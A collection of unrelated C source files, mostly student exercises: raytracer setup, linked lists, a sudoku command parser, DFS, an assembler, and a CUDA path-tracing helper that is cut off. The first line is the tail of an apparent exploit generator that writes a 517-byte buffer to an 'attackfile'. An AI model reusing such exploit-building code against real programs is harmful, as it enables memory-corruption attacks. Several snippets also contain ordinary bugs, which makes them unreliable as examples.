fwrite(buffer, 517, 1, attackfile); fclose(attackfile); }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* all_obj.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: gwaymar- <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2019/10/10 15:55:13 by gwaymar- #+# #+# */ /* Updated: 2019/10/10 17:29:19 by gwaymar- ### ########.fr */ /* */ /* ************************************************************************** */ #include "rtv1.h" void fill_all_obj(t_obj *all_obj) { t_sphere new_sphere; char *str="hello"; t_mater ivory; mater_fill(&ivory, MAT_IVORY); // filling spheres new_sphere = sphere_new(vec_new(-3.0, 0.0, -16.0), 2, ivory); all_obj = (t_obj *)malloc(sizeof(t_obj)); // all_obj->type = ft_memalloc(6); // ft_memcpy(all_obj->type,str,6); // all_obj->type = ft_memalloc(sizeof(t_sphere)); // ft_memcpy(all_obj->type,&new_sphere,sizeof(t_sphere)); all_obj->type = &new_sphere; all_obj->c_type = "sphere"; if (!(ft_strcmp(all_obj->c_type,"sphere"))) { t_sphere custom_obj; ft_memcpy(&custom_obj,all_obj->type,sizeof(t_sphere)); printf("!!=%f \n",custom_obj.radius); } return ; } // t_sphere *create_null_list_spheres(int nbr) // { // t_sphere *n; // int i; // // n = (t_sphere*)malloc(nbr * sizeof(t_sphere)); // if (n == NULL || nbr == 0) // return (NULL); // i = -1; // while(++i < nbr) // { // n[i].radius = 0.0; // n[i].center = vec_new(0.0,0.0,0.0); // n[i].mater = mater_new(); // } // return (n); // } // // // t_sphere *exec_sphers(void) // { // t_sphere *spheres; // int nbrs_sph = 4; // // spheres = create_null_list_spheres(nbrs_sph); // if (!(spheres)) // ft_print_error_exit(&ft_putendl, "Error, no_spheres"); // // CREATING mater // t_mater ivory; // // mater_fill(&ivory, MAT_IVORY); // // filling spheres // spheres[0] = sphere_new(vec_new( 0, 0, -1), 0.5, lambertian); // spheres[1] = sphere_new(vec_new( 0,-100.5, -1), 100, lambertian); // spheres[2] = sphere_new(vec_new( 1, 0, -1), 0.5, metal); // spheres[3] = sphere_new(vec_new( -1, 0, -1), 0.5, metal); // return (spheres); // }
C
/* * author: Thomas Yao */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "term_enum.h" #include "term_infos_writer.h" #include "../utils/utils.h" struct _term_enum* term_enum_initial(struct _file_stream* _in, struct _field_infos* _fieldinfos, int _is_index) { struct _term_enum* termenum = (struct _term_enum*) malloc( sizeof(struct _term_enum)); if (termenum == NULL) err(1, "term_enum is null"); /* defaults */ termenum->position = -1; termenum->term = term_initial("", ""); termenum->terminfo = term_info_initial(); termenum->is_index = 0; termenum->index_pointer = 0; /* defaults */ termenum->input = _in; termenum->fieldinfos = _fieldinfos; termenum->is_index = _is_index; int first_int = fs_read_int(_in); //format default: -2 printf("term_enum_initial:first_int: %d\n", first_int); if (first_int > 0) { // original-format file, without explicit format version number termenum->format = 0; termenum->size = first_int; // back-compatible settings termenum->index_interval = 128; termenum->skip_interval = 0x7fffffff; } else { // we have a format version number termenum->format = first_int; // check that it is a format we can understand if (termenum->format < TERM_INFOS_WRITER_FORMAT) err(1, "unknown format version"); termenum->size = fs_read_long(_in); // read the size default:0 printf("term_enum_initial:size: %lli\n", termenum->size); if (termenum->format == -1) { if (!termenum->is_index) { termenum->index_interval = fs_read_int(_in); // default:128 printf("term_enum_initial:format-1:index_interval: %d\n", termenum->index_interval); termenum->format_m1_skip_interval = fs_read_int(_in); // default:16 printf( "term_enum_initial:format-1:format_m1_skip_interval: %d\n", termenum->format_m1_skip_interval); } // switch off skipTo optimization for file format prior to 1.4rc2 // in order to avoid a bug in skipTo implementation of these versions termenum->skip_interval = 0x7fffffff; } else { termenum->index_interval = fs_read_int(_in); // default:128 printf("term_enum_initial:format-2:index_interval: %d\n", termenum->index_interval); termenum->skip_interval = fs_read_int(_in); // default:16 printf("term_enum_initial:format-2:skip_interval: %d\n", termenum->skip_interval); } } return termenum; } struct _term* read_term(struct _term_enum* _term_enum) { int start = fs_read_vint(_term_enum->input); printf("term_enum:read_term:start: %d\n", start); int length = fs_read_vint(_term_enum->input); printf("term_enum:read_term:length: %d\n", length); int total_length = start + length; // lazy grow buffer fs_read_chars(_term_enum->input, _term_enum->buffer, start, length); printf("term_enum:read_term:buffer: %s\n", _term_enum->buffer); int field_number = fs_read_vint(_term_enum->input); printf("term_enum:read_term:field_number: %i\n", field_number); return term_initial(field_infos_get_name_by_number(_term_enum->fieldinfos, field_number), strndup(_term_enum->buffer, total_length)); } int term_enum_next(struct _term_enum* _term_enum) { printf("term_enum_next:position: %lli\n", _term_enum->position); printf("term_enum_next:size: %lli\n", _term_enum->size); if (_term_enum->position++ >= _term_enum->size - 1) { printf("term_enum_next: position++ >= size - 1 term=null %s\n", "return false"); _term_enum->term = NULL; return 0; } _term_enum->prev = _term_enum->term; _term_enum->term = read_term(_term_enum); _term_enum->terminfo->doc_freq = fs_read_vint(_term_enum->input); printf("term_enum_next:_term_enum->terminfo->doc_freq: %i\n", _term_enum->terminfo->doc_freq); _term_enum->terminfo->freq_pointer += fs_read_vlong(_term_enum->input); printf("term_enum_next:_term_enum->terminfo->freq_pointer: %lli\n", _term_enum->terminfo->freq_pointer); _term_enum->terminfo->prox_pointer += fs_read_vlong(_term_enum->input); printf("term_enum_next:_term_enum->terminfo->prox_pointer: %lli\n", _term_enum->terminfo->prox_pointer); if (_term_enum->format == -1) { if (!_term_enum->is_index) { if (_term_enum->terminfo->doc_freq > _term_enum->format_m1_skip_interval) _term_enum->terminfo->skip_offset = fs_read_vint(_term_enum->input); } } else { if (_term_enum->terminfo->doc_freq >= _term_enum->skip_interval) { _term_enum->terminfo->skip_offset = fs_read_vint(_term_enum->input); printf("term_enum_next:_term_enum->terminfo->skip_offset: %i\n", _term_enum->terminfo->skip_offset); } } if (_term_enum->is_index) { _term_enum->index_pointer += fs_read_vlong(_term_enum->input); printf("term_enum_next:_term_enum->index_pointer: %lli\n", _term_enum->index_pointer); } return 1; } void term_enum_close(struct _term_enum* _te) { fs_close(_te->input); } void grow_buffer(struct _term_enum* te) { int i; for (i = 0; i < strlen(te->term->text); i++) { te->buffer[i] = te->term->text[i]; } } void term_enum_seek(struct _term_enum* te, long long pointer, int p, struct _term* t, struct _term_info* ti) { fs_seek(te->input, pointer); te->position = p; te->term = t; te->prev = NULL; term_info_set_copy(te->terminfo, ti); grow_buffer(te); // copy term text into buffer } struct _term_enums* term_enums_initial() { struct _term_enums* tvfs = (struct _term_enums*) malloc( sizeof(struct _term_enums)); if (tvfs == NULL) err(1, "tvfs is null"); tvfs->curr = NULL; tvfs->size = 0; return tvfs; } void term_enums_add(struct _term_enums* _s, struct _term_enum* _data) { struct _term_enums_node* node = (struct _term_enums_node*) malloc( sizeof(struct _term_enums_node)); if (node == NULL) err(1, "node is null"); if (_s->size == 0) { node->next = node; node->prev = node; _s->curr = node; } struct _term_enums_node* cn = _s->curr; struct _term_enums_node* nn = _s->curr->next; cn->next = node; nn->prev = node; node->next = nn; node->prev = cn; node->data = _data; _s->curr = node; _s->curr->index = _s->size++; } struct _term_enum* term_enums_get_curr(struct _term_enums* _s) { return _s->curr->data; } struct _term_enum* term_enums_get_index(struct _term_enums* s, int _index) { int i; for (i = 0; i < s->size; i++) { if (s->curr->index == _index) return s->curr->data; s->curr = s->curr->next; } return NULL; } void term_enums_rm_curr(struct _term_enums* _s) { if (_s == NULL) err(1, "_s is null"); struct _term_enums_node* cn = _s->curr; cn->prev->next = cn->next; cn->next->prev = cn->prev; _s->curr = cn->prev; _s->size--; free(cn); } void term_enums_destory(struct _term_enums* _s) { if (_s == NULL) err(1, "_s is null"); while (_s->size != 0) { term_enums_rm_curr(_s); } free(_s); } void term_enums_clear(struct _term_enums* _s) { if (_s == NULL) err(1, "_s is null"); while (_s->size != 0) { term_enums_rm_curr(_s); } } void term_enums_print(struct _term_enums* _s) { int i; for (i = 0; i < _s->size; i++) { _s->curr = _s->curr->prev; } }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* player.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: seronen <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/03/16 17:32:53 by seronen #+# #+# */ /* Updated: 2021/04/10 00:31:55 by seronen ### ########.fr */ /* */ /* ************************************************************************** */ #include "vm.h" void new_player(t_vm *vm, int id, char *name) { t_player *new; if (!name) print_error(INVALID_ARG); if (!(new = ft_memalloc(sizeof(t_player)))) print_error(MALLOC); new->id = id; new->file_name = name; ft_bzero(&(new->name), PROG_NAME_LENGTH + 1); ft_bzero(&(new->comment), COMMENT_LENGTH + 1); new->exec_code = NULL; vm->players[id - 1] = new; } int get_player_amount(char **args, int ac) { int i; int amount; i = 0; amount = 0; while (i < ac) { if (args[i] && !ft_strcmp("-n", args[i])) i++; else if (args[i]) amount++; i++; } if (amount < MIN_PLAYERS) print_error(INVALID_ARG); return (amount); }
C
/* * HighScoress.h * * Created on: 21/11/2017 * Author: Daniel Barragán */ #ifndef HIGHSCORES_H_ #define HIGHSCORES_H_ #include "DataTypeDefinitions.h" //indicates the end index of the array #define ARRAY_END 0 //this indicates the 10 value in ASCII #define TEN_ASCII 58 //the next variables represents the memory direction for the highscores #define RECORD_MEM_1 0x0 #define RECORD_MEM_2 0x1 #define RECORD_MEM_3 0x2 #define RECORD_MEM_4 0x3 #define RECORD_MEM_5 0x4 #define RECORD_MEM_6 0x5 #define RECORD_MEM_7 0x6 #define RECORD_MEM_8 0x7 #define RECORD_MEM_9 0x8 #define RECORD_MEM_10 0x9 //this defines the size of the score places #define SCORES_ARRAY_SIZE 10 #define SCORES_BYTES 10 //this value indicates that the user wants to reset the high scores #define RESET_HIGH_SCORES '1' /*! This data type stores the score direction with a pointer*/ typedef struct{ uint8* score; }Score; /********************************************************************************************/ /********************************************************************************************/ /********************************************************************************************/ /*! \brief This function checks if the new score is a high score. \param[in] score from the player. \return TRUE if the score was equal or higher of the previous high scores, FALSE if it wasn't. */ uint8 updateScores(uint8 newScore); /********************************************************************************************/ /********************************************************************************************/ /********************************************************************************************/ /*! \brief This function reads the high scores stored in the memory. \return the direction of the first element of the scores */ uint8* readScores(); /********************************************************************************************/ /********************************************************************************************/ /********************************************************************************************/ /*! \brief This function resets to zero the actualScores to the memory. \return TRUE if there was no problem storing the values. */ BooleanType resetScores(); /********************************************************************************************/ /********************************************************************************************/ /********************************************************************************************/ /*! \brief This function the value of actualScores to the memory. \return TRUE if there was no problem storing the values. */ BooleanType writeScores(); /********************************************************************************************/ /********************************************************************************************/ /********************************************************************************************/ /*! \brief This function returns a specific value of the high scores. \param[in] index of the high score to get. \return FALSE if index out of order, or the value of the highScore at the received index. */ uint8 getScore(uint8 index); #endif
C
#include<stdio.h> #include<stdlib.h> struct node { int data; struct node *link; }; struct node * root=NULL; int len=0; void append(); int find_len(); void display(); void insert_atstart(); void insert_inmiddle(); int main() { int choice =0; while(1) { printf("enter your choice\n"); printf("1.append\n2.find_len\n3.display\n4.insert_at_start\n5.insert_inmiddle\n0.exit()\n"); scanf("%d",&choice); switch(choice) { case 1: append(); break; case 2: len=find_len(); printf("len ==%d\n",len); break; case 3: display(); break; case 4: insert_atstart(); break; case 5: insert_inmiddle(); break; default: exit(0); } } } void append() { struct node*temp=NULL; temp=(struct node*)malloc(sizeof(struct node)); printf("enter node data "); scanf("%d",&temp->data); if(root==NULL) { root=temp; temp->link=root; } else { struct node *p=root; while(p->link!=root) { p=p->link; } p->link=temp; temp->link=root; } } int find_len() { struct node*temp=root; int cnt=0; while(temp->link!=root) { temp=temp->link; cnt++; } // cnt++; return ++cnt; } void display() { struct node*temp=root; while(temp->link!=root) { printf("address %p data %d address link %p\n",temp,temp->data,temp->link); temp=temp->link; // printf("address %p data %d address link %p\n",temp,temp->data,temp->link); //temp=temp->link; } printf("address %p data %d address link %p\n",temp,temp->data,temp->link); } void insert_atstart() { struct node*temp=NULL; temp=(struct node*)malloc(sizeof(struct node)); printf("enter node data \n "); scanf("%d",&temp->data); struct node*p=NULL; if(root==NULL) { root=temp; temp->link=root; } else { p=root; while(p->link!=root) { p=p->link; } temp->link=root; root=temp; p->link=root; } } void insert_inmiddle() { struct node*temp,*p=root; int i=1; int loc=0; temp=(struct node*)malloc(sizeof(struct node)); printf("enter node data "); scanf("%d",&temp->data); printf("enter location to insert node=="); scanf("%d",&loc); if(root==NULL) { root=temp; temp->link=root; } else if(loc>find_len()) { printf("invalid location\n"); } else { while(i<loc) { p=p->link; i++; } temp->link=p->link; p->link=temp; } }
C
/* * The instlineMem files (.h,c) are responsible for saving instruction lines to memory. */ #include <string.h> #include "../config.h" #include "instlineMem.h" extern int IC; extern instLine instlineArray[MAX_ARRAY_LENGTH]; extern int LIC; // Restart global variables void RestartInstlines() { IC = 0; LIC = 0; } // Stores instructions in the instlineArray according to its structure. // Uses CreateAddLine for the actual storing and updating of LIC. int StoreInstline(inst* ins, operand* ops[MAX_ARGUMENTS], int comb, int type) { int added = 1; instlineArray[LIC].ins = ins; if ((ins->numOfOp == 2) && (ops != NULL) && (ops[0] != NULL)) { strcpy(instlineArray[LIC].op1.name, ops[0]->name); instlineArray[LIC].op1.addrType = ops[0]->addrType; instlineArray[LIC].op1.reg = ops[0]->reg; added += GetInstAdditionalLength(ops[0]->addrType); } if ((ops != NULL) && (ops[1] != NULL)) { strcpy(instlineArray[LIC].op2.name, ops[1]->name); instlineArray[LIC].op2.addrType = ops[1]->addrType; instlineArray[LIC].op2.reg = ops[1]->reg; added += GetInstAdditionalLength(ops[1]->addrType); } instlineArray[LIC].comb = (comb != -1) ? comb: 0; instlineArray[LIC].type = (type != -1) ? type: 0; if (strcmp(ins->name,"entry") != 0) IC += added; // Don't increment on entry LIC++; return 1; } // This function returns how many additional words this instruction takes, based on its addressing type int GetInstAdditionalLength(int addressType) { if (addressType == IMMEDIATE || addressType == LABEL || addressType == INDEX_REGISTER) return 1; else if (addressType == INDEX_LABLE || addressType == INDEX_DIRECT) return 2 ; else if (addressType == DIRECT_REG) return 0; return 0; }
C
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <ctype.h> #include "solver.h" #include "game.h" #include "parser.h" #include "main_aux.h" #include "SPBufferset.h" /** * parser summary * * A container that takes care of the user input. * flow: * 1. The user input reaches the function readCommand. * 2. The input is moved to _parseCommand where the input is separated to its arguments. * 3. The arguments are validated for the relevant command. * 4. If the number of arguments is right and there no errors, they are passed to the relevant function in game.c * **/ /* freeing the allocated arrays */ void _freeCase(int *cmd, char *path, int *errorsInParams){ free(cmd); free(path); free(errorsInParams); } /* returns STATE_LOOP and free the allocated arrays */ State _finish_and_return_loop(int *cmd, char *path, int *errorsInParams){ _freeCase(cmd, path, errorsInParams); return STATE_LOOP; } /* turn a Command enum to an equivalent string */ char* stringFromCommand(Command c){ char *str_commands[] = {"invalid command", "solve", "edit", "mark_errors","print_board", "set", "validate", "guess", "generate", "undo", "redo", "save", "hint", "guess_hint", "num_solutions", "autofill", "reset", "exit"}; return str_commands[c]; } /* turn a Mode enum to an equivalent string */ char* stringFromMode(Mode mode){ char* str_modes[] = {"Init", "Edit", "Solve"}; return str_modes[mode]; } /* returns the right number of parameters for each command */ char* commandNumParams(Command com){ if (com==1 || com==3 || com==7 || com==11){ return "1"; } else if (com==8 || com ==12 || com ==13){ return "2"; } else if(com==5){ return "3"; } else if(com==2){ return "0 or 1"; } else{ return "0"; } } /* checks if the current mode is allows the command */ int isModeAllowingCommand(Command command, Mode mode){ if (mode == SOLVE){ if (command == GENERATE) { return 0; } return 1; } else if(mode == EDIT){ if(command == MARK_ERRORS || command == GUESS || command == HINT || command == GUESS_HINT || command == AUTOFILL){ return 0; } return 1; } else{ /*(mode == INIT)*/ if(command == SOLVE_COMMAND || command == EDIT_COMMAND || command == EXIT){ return 1; } return 0; } } /* validates if the given token is a legal command */ int _commandName(int* cmd, char* token, int* cnt, Mode mode){ if (strcmp(token, "solve") == 0) { cmd[0] = 1; } else if (strcmp(token, "edit") == 0) { cmd[0] = 2; } else if (strcmp(token, "mark_errors") == 0) { cmd[0] = 3; } else if (strcmp(token, "print_board") == 0) { cmd[0] = 4; } else if (strcmp(token, "set") == 0) { cmd[0] = 5; } else if (strcmp(token, "validate") == 0) { cmd[0] = 6; }else if (strcmp(token, "guess") == 0) { cmd[0] = 7; }else if (strcmp(token, "generate") == 0) { cmd[0] = 8; }else if (strcmp(token, "undo") == 0) { cmd[0] = 9; }else if (strcmp(token, "redo") == 0) { cmd[0] = 10; }else if (strcmp(token, "save") == 0) { cmd[0] = 11; }else if (strcmp(token, "hint") == 0) { cmd[0] = 12; }else if (strcmp(token, "guess_hint") == 0) { cmd[0] = 13; }else if (strcmp(token, "num_solutions") == 0) { cmd[0] = 14; }else if (strcmp(token, "autofill") == 0) { cmd[0] = 15; }else if (strcmp(token, "reset") == 0) { cmd[0] = 16; }else if (strcmp(token, "exit") == 0) { cmd[0] = 17; } else{/* name is incorrect */ handleInputError(0, INVALID_NAME, mode, -1, -1); cmd[0] = 0; return 0; } *cnt = *cnt+1; return 1; } /* checks if too many parameters are given */ int _isTooManyParams(int* cmd, int* cnt, int validNumOfParams, Mode mode){ if(*cnt > validNumOfParams){ handleInputError(cmd[0], TOO_MANY_PARAMS, mode, -1, -1); cmd[0] = 0; return 1; } return 0; } /* checks if enough parameters are given */ int _isEnoughParams(int *cmd, int *cnt, int validNumOfParams, Mode mode){ if((*cnt)-1 < validNumOfParams){ handleInputError(cmd[0], NOT_ENOUGH_PARAMS, mode, -1, -1); return 0; } return 1; } /* takes care of the solve, edit and save commands */ int _commandWithPath(int* cmd, char* token, int* cnt, char* path, Mode mode){ if (_isTooManyParams(cmd, cnt, 1, mode)){ return 0; } strcpy(path, token); *cnt = (*cnt)+1; return 1; } /* takes care of the mark errors command */ int _commandMarkErrors(int* cmd, char* token, int *cnt, Mode mode, int* errorsArr){ if(_isTooManyParams(cmd, cnt, 1, mode)){ return 0; } if((strlen(token)==1) && (*token == 48 || *token == 49)){ cmd[1] = stringToInt(token); } else { errorsArr[0]=1; } *cnt = (*cnt)+1; return 1; } /* takes care of the set command */ int _commandSet(int* cmd, char* token, int* cnt, Mode mode, int total_size, int* errArr){ int val; if (_isTooManyParams(cmd, cnt, 3, mode)){ return 0; } val = stringToInt(token);/* return -1 if token is not an int */ if (val<0 || val> total_size){ errArr[(*cnt)-1] = 1; } else if (val==0 && ((*cnt)==1 || (*cnt)==2)){ errArr[(*cnt)-1] = 1; } else{ cmd[*cnt] = val; } (*cnt) = (*cnt)+1; return 1; } /* takes care of the guess command */ int _commandGuess(int* cmd, char* token, int* cnt, float* guess_param, Mode mode, int* errArr){ float val; if (_isTooManyParams(cmd, cnt, 1, mode)){ return 0; } val=stringToFloat(token); if (val< 0.0 || val> 1.0){ errArr[0] = 1; } else{ *guess_param = val; } *cnt = *cnt+1; return 1; } /* takes care of the generate command */ int _commandGenerate(int* cmd, char* token, int* cnt, Mode mode, int total_cells, int* errArr){ int val; if (_isTooManyParams(cmd, cnt, 2, mode)){ return 0; } val = stringToInt(token); /* returns -1 if token is not an int */ if (val<0 || val> total_cells){ errArr[(*cnt)-1]=1; } else{ cmd[*cnt]=val; } *cnt = *cnt+1; return 1; } /* takes care of the hint command */ int _commandHint(int* cmd, char* token, int* cnt, Mode mode, int total_size, int* errArr){/* hint and guess_hint */ int val = stringToInt(token); if (_isTooManyParams(cmd, cnt, 2, mode)){ return 0; } if (val<1 || val> total_size){ errArr[(*cnt)-1]=1; } else{ cmd[*cnt]=val; } (*cnt) = (*cnt)+1; return 1; } /* parsing the user input and separating it its different arguments */ void _parseCommand(char* input, int* cmd, float* guess_param, char* path, Mode mode, int* cnt, Sudoku* sudoku, int* errorsInParams) { char s[] = " \t\r\n"; char* token; int total_cells; token = strtok(input, s); if (token==NULL){ cmd[0]=18; return; } total_cells = (sudoku->total_size)*(sudoku->total_size); while(token != NULL) { if(*cnt==0){ if (!_commandName(cmd, token, cnt, mode)){/* invalid command */ return; } if(!isModeAllowingCommand(cmd[0], mode)){ handleInputError(cmd[0], INVALID_MODE, mode, -1, -1); cmd[0]=0; return; } } else { if (cmd[0] == 1 || cmd[0] == 2 || cmd[0] == 11) {/* solve or edit or save */ if(!_commandWithPath(cmd, token, cnt, path, mode)){ return; } } else if (cmd[0] == 3){/* mark_errors */ if(!_commandMarkErrors(cmd, token, cnt, mode, errorsInParams)){ return; } } else if (cmd[0] == 5){/* set */ if(!_commandSet(cmd, token, cnt, mode, sudoku->total_size, errorsInParams)){ return; } } else if (cmd[0] == 7){/* guess */ if(!_commandGuess(cmd, token, cnt, guess_param, mode, errorsInParams)){ return; } } else if (cmd[0] == 8){/* generate */ if(!_commandGenerate(cmd, token, cnt, mode, total_cells, errorsInParams)){ return; } } else if(cmd[0] == 12 || cmd[0] == 13){/* hint or guss_hint */ if(!_commandHint(cmd, token, cnt, mode, sudoku->total_size, errorsInParams)){ return; } } else{/* all other commands */ handleInputError(cmd[0], TOO_MANY_PARAMS, mode, -1, -1); cmd[0] = 0; return; } } token = strtok(NULL, s); } } /* * @params - function receives pointer to the main Sudoku and the string input from the user. * * The function calls to "_parseCommand" function and according to its result, * "readCommand" calls and executes the appropriate command. * * @return - The function returns enum that indicates if after the execution of the command : * 1. the game continues (STATE_LOOP) * 2. the user chose the "exit" command (STATE_EXIT) */ State readCommand(Sudoku* sudoku, char* input){ int current_cmd, x, y, z, cnt=0, i, numErrors, total_cells; float guess_param; char* path = (char*)malloc(256* sizeof(char)); Mode current_mode = sudoku->mode; int* cmd = (int*)malloc(4* sizeof(int)); /* [command, param_x, param_y, param_z] */ int* errorsInParams = (int*)calloc(3, sizeof(int)); if(cmd == NULL || path == NULL || errorsInParams == NULL){ printMallocFailedAndExit(); } total_cells = (sudoku->total_size)*(sudoku->total_size); _parseCommand(input, cmd, &guess_param, path, current_mode, &cnt, sudoku, errorsInParams); current_cmd = cmd[0]; x = cmd[1]; y = cmd[2]; z = cmd[3]; switch(current_cmd) { case 1: /* solve */ if(_isEnoughParams(cmd, &cnt, 1, current_mode)) { solve(sudoku, path); } return _finish_and_return_loop(cmd, path, errorsInParams); case 2: /* edit */ if (cnt == 1){ path=NULL; } edit(sudoku, path); return _finish_and_return_loop(cmd, path, errorsInParams); case 3: /* mark_errors */ if(_isEnoughParams(cmd, &cnt, 1, current_mode)){ if(errorsInParams[0]){ handleInputError(MARK_ERRORS, INVALID_PARAM_X, current_mode, sudoku->total_size, total_cells); } else{ mark_errors(sudoku, x); } } return _finish_and_return_loop(cmd, path, errorsInParams); case 4: /* print_board */ print_board(sudoku); return _finish_and_return_loop(cmd, path, errorsInParams); case 5: /* set */ if(_isEnoughParams(cmd, &cnt, 3, current_mode)){ numErrors=0; for(i=0; i<3; ++i){ if(errorsInParams[i]){ handleInputError(SET, 4+i, current_mode, sudoku->total_size, total_cells); numErrors++; break; } } if(!numErrors) { set(sudoku, --y, --x, z); } } return _finish_and_return_loop(cmd, path, errorsInParams); case 6: /* validate */ validate(sudoku); return _finish_and_return_loop(cmd, path, errorsInParams); case 7:/* guess */ if(_isEnoughParams(cmd, &cnt, 1, current_mode)){ if(errorsInParams[0]){ handleInputError(GUESS, INVALID_PARAM_X, current_mode, sudoku->total_size, total_cells); } else{ guess(sudoku, guess_param); } } return _finish_and_return_loop(cmd, path, errorsInParams); case 8: /* generate */ if(_isEnoughParams(cmd, &cnt, 2, current_mode)){ numErrors=0; for(i=0; i<2; ++i){ if(errorsInParams[i]){ handleInputError(GENERATE, 4+i, current_mode, sudoku->total_size, total_cells); numErrors++; break; } } if(!numErrors){ generate(sudoku, x, y); } } return _finish_and_return_loop(cmd, path, errorsInParams); case 9: /* undo */ undo(sudoku); return _finish_and_return_loop(cmd, path, errorsInParams); case 10: /* redo */ redo(sudoku); return _finish_and_return_loop(cmd, path, errorsInParams); case 11: /* save */ if(_isEnoughParams(cmd, &cnt, 1, current_mode)) { save(sudoku, path); } return _finish_and_return_loop(cmd, path, errorsInParams); case 12: /* hint */ if(_isEnoughParams(cmd, &cnt, 2, current_mode)){ numErrors=0; for(i=0; i<2; ++i){ if(errorsInParams[i]){ handleInputError(HINT, 4+i, current_mode, sudoku->total_size, total_cells); numErrors++; break; } } if(!numErrors){ hint(sudoku, --y, --x); } } return _finish_and_return_loop(cmd, path, errorsInParams); case 13: /* guess_hint */ if(_isEnoughParams(cmd, &cnt, 2, current_mode)){ numErrors=0; for(i=0; i<2; ++i){ if(errorsInParams[i]){ handleInputError(GUESS_HINT, 4+i, current_mode, sudoku->total_size, total_cells); numErrors++; break; } } if(!numErrors){ guess_hint(sudoku, --y, --x); } } return _finish_and_return_loop(cmd, path, errorsInParams); case 14: /* num_solutions */ num_solutions(sudoku); return _finish_and_return_loop(cmd, path, errorsInParams); case 15: /* autofill */ autofill(sudoku); return _finish_and_return_loop(cmd, path, errorsInParams); case 16: /* reset */ reset(sudoku); return _finish_and_return_loop(cmd, path, errorsInParams); case 17: /* exit */ exitProgram(); _freeCase(cmd, path, errorsInParams); return STATE_EXIT; default: /*invalid command or only spaces were given*/ return _finish_and_return_loop(cmd, path, errorsInParams); } }
C
#include <stdio.h> int main() { int x;scanf("%d", &x); int i, j, n; while(x==1 || x==2 || x==3 || x==4){ switch(x){ case 1: scanf("%d", &n); for(i=1 ; i<=n-1 ; i++){ for(j=1 ; j<=n-i ; j++)printf(" "); for(j=1 ; j<=i ; j++){ printf("%d ", i); } printf("\n"); } for(j=1 ; j<=n ; j++) printf("%d ", i); printf("\n"); for(i=n-1 ; i>=1 ; i--){ for(j=1 ; j<=n-i ; j++)printf(" "); for(j=1 ; j<=i ; j++){ printf("%d ", i); } printf("\n"); } printf("\n"); break; case 2: scanf("%d", &n); for(i = 1 ; i<=n ; i++){ for(j=1 ; j<=i ; j++) printf("%d ", i); printf("\n"); } printf("\n"); break; case 3: scanf("%d", &n); for(i=1 ; i<=n ; i++){ for(j=1 ; j<=n-i ; j++)printf(" "); for(j=1 ; j<=i ; j++){ printf("%d ", i); } printf("\n"); } break; case 4: scanf("%d", &n); for(i=n ; i>=2 ; i--){ for(j=1 ; j<=n-i ; j++)printf(" "); for(j=1 ; j<=i ; j++){ printf("%d ", i); } printf("\n"); } for(i=1 ; i<=n ; i++){ for(j=1 ; j<=n-i ; j++)printf(" "); for(j=1 ; j<=i ; j++){ printf("%d ", i); } printf("\n"); } printf("\n"); break; } scanf("%d", &x); } return 0; }
C
#include<stdio.h> int main(void){ int num; scanf("%d", &num); switch(num){ case 1: printf("is 1\n");break; case 2: printf("is 2\n");break; case 3: printf("is 3\n");break; default : printf("defaut\n");break; } return 0; }
C
#include<stdio.h> #define size 20 int stack[size]; int tos=-1; int g[size][size]; int vis[size]; void push(int item) { if(tos==(size-1)) { printf("The Stack is full."); } else { stack[++tos]=item; } } int pop() { if(tos==-1) { return 0; } else { return stack[tos--]; } } void DFS(int s,int n) { int p,i; push(s); vis[s]=1; p=pop(); if(p!=0) { printf("%d ",p); } while(p!=0) { for(i=1; i<=n; i++) { if((g[p][i]!=0)&&(vis[i]==0)) { push(i); vis[i]=1; } } p=pop(); if(p!=0) { printf("%d ",p); } } for(i=1; i<=n; i++) { if(vis[i]==0) { DFS(i,n); } } } int main() { int i,j,s,n; printf("How many nodes?\n"); scanf("%d",&n); printf("\nNow according to the nodes enter 1 if the nodes are connected else enter 0:\n"); for(i=1;i<=n;i++) { for(j=1;j<=n;j++) { scanf("%d",&g[i][j]); } } printf("\nHere the Adjacency matrix:\n"); for(i=1; i<=n; i++) { for(j=1; j<=n; j++) { printf(" %d",g[i][j]); } printf("\n"); } vis[i]=0; printf("\nNow enter the searching node:\n"); scanf("%d",&s); printf("\nSo, DFS:\n"); DFS(s,n); return 0; }
C
#pragma once #include "intersections.h" // CHECKITOUT /** * Computes a cosine-weighted random direction in a hemisphere. * Used for diffuse lighting. */ __host__ __device__ glm::vec3 calculateRandomDirectionInHemisphere( glm::vec3 normal, thrust::default_random_engine &rng) { thrust::uniform_real_distribution<float> u01(0, 1); float up = sqrt(u01(rng)); // cos(theta) float over = sqrt(1 - up * up); // sin(theta) float around = u01(rng) * TWO_PI; // Find a direction that is not the normal based off of whether or not the // normal's components are all equal to sqrt(1/3) or whether or not at // least one component is less than sqrt(1/3). Learned this trick from // Peter Kutz. glm::vec3 directionNotNormal; if (abs(normal.x) < SQRT_OF_ONE_THIRD) { directionNotNormal = glm::vec3(1, 0, 0); } else if (abs(normal.y) < SQRT_OF_ONE_THIRD) { directionNotNormal = glm::vec3(0, 1, 0); } else { directionNotNormal = glm::vec3(0, 0, 1); } // Use not-normal direction to generate two perpendicular directions glm::vec3 perpendicularDirection1 = glm::normalize(glm::cross(normal, directionNotNormal)); glm::vec3 perpendicularDirection2 = glm::normalize(glm::cross(normal, perpendicularDirection1)); return up * normal + cos(around) * over * perpendicularDirection1 + sin(around) * over * perpendicularDirection2; } //http://www.igorsklyar.com/system/documents/papers/4/fiscourse.comp.pdf __host__ __device__ glm::vec3 calculateRandomSpecularDirection( glm::vec3 specDir,float specExp, thrust::default_random_engine &rng) { thrust::uniform_real_distribution<float> u01(0, 1); float X1 = u01(rng); float X2 = u01(rng); float n = specExp; float thi = acos(pow(X1, 1 / (n+1))); float phi = TWO_PI*X2; float z = cos(thi); float x = cos(phi)*sin(thi); float y = sin(phi)*sin(thi); // Find a direction that is not the normal based off of whether or not the // normal's components are all equal to sqrt(1/3) or whether or not at // least one component is less than sqrt(1/3). Learned this trick from // Peter Kutz. glm::vec3 directionNotNormal; if (abs(specDir.x) < SQRT_OF_ONE_THIRD) { directionNotNormal = glm::vec3(1, 0, 0); } 